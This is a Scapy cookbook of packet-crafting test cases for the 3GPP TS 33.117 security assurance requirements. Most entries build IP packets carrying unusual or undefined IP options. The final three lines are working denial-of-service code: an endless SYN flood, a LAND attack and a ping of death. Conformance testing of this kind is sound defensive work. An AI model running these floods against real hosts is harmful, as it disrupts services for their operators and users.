This cookbook is for test cases of security assurance requirements defined in 3GPP TS 33.117. All test cases are based on Scapy and verified with Scapy 2.5.0.
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x01\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_NOP(), IPOption_EOL()])
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x83\x0b\x0c\x0a\x8d\x1a\xa0\x0a\x8d\x1a\xa0\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54", options=[IPOption_LSRR(pointer=12,routers=["1.2.3.4","5.6.7.8"]), IPOption_EOL()]) opt.do_build()
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x89\x0b\x0c\x0a\x8d\x1a\xa0\x0a\x8d\x1a\xa0\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_SSRR(pointer=12,routers=["1.2.3.4","5.6.7.8"]), IPOption_EOL()]) opt.do_build()
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x07\x0b\x0c\x0a\x8d\x1a\xa0\x0a\x8d\x1a\xa0\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_RR(pointer=12,routers=["1.2.3.4","5.6.7.8"]), IPOption_EOL()]) opt.do_build()
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x88\x04\x00\x01\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_Stream_Id(), IPOption_EOL()]) opt.do_build()
- opt=IP(src="10.234.56.78",dst="10.141.24.1",options=b'\x44\x0c\x10\x03\x0a\x8d\x1a\xa0\x00\x00\x00\x01\x00')/ICMP(type=13)
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_Timestamp(), IPOption_EOL()])
- pt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x82\x0b\xd7\x88\x00\x00\xff\xff\xde\xad\xbe\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_Security(), IPOption_EOL()])
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x85\x07\x01\xde\xad\xbe\xef\x00')
opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x86\x0a\xde\xad\xbe\xef\x01\x04\x00\xed\x00')
Not defined Experimental Measurement(10), ENCODE(15), Unassigned(150), Experimental Access Control(142), IMI Traffic Descriptor(144),
Address Extension(147), Selective Directed Broadcast(149), Dynamic Packet State(151), Upstream Multicast Pkt.(152), Experimental Flow Control(205)
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x0b\x04\xde\xad\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_MTU_Probe(), IPOption_EOL()])
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x0c\x04\xde\xad\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_MTU_Reply(), IPOption_EOL()])
opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x91\x04\xde\xad\x00')
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x52\x0c\x00\x01\x00\x01\x00\x01\x0a\x8d\x1a\xa0\x00')/ICMP(type=30)
- opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_Traceroute(optclass=2), IPOption_EOL()])
opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_Address_Extension(), IPOption_EOL()])
opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_Router_Alert(), IPOption_EOL()])
opt=IP(src="10.234.56.78",dst="10.98.76.54",options=[IPOption_SDBM(), IPOption_EOL()])
opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x19\x08\x00\x00\x00\x00')
opt=IP(src="10.234.56.78",dst="224.0.0.254",options=b'\x1d\x08\x00\x00\x00\x00')
opt=IPv6ExtHdrHopByHop()
opt=IP(src="10.234.56.78",dst="10.98.76.54",options=b'\x97\x04\xde\xad\x00')
target_ip="10.234.56.78" target_port=8002 app=Raw(b"X"*1024) syn_flood=IP(dst=target_ip)/TCP(sport=RandShort(),dport=target_port,flags="S")/app send(syn_flood, loop=1, verbose=0)
land=IP(src="10.234.56.78",dst="10.234.56.78")/TCP(sport=8002,dport=8002,flags="S") sendp(land, count=5)
ping_of_death=fragment(IP(dst="10.0.0.9")/ICMP()/("X"*60000)) sendp(ping_of_death, 1000)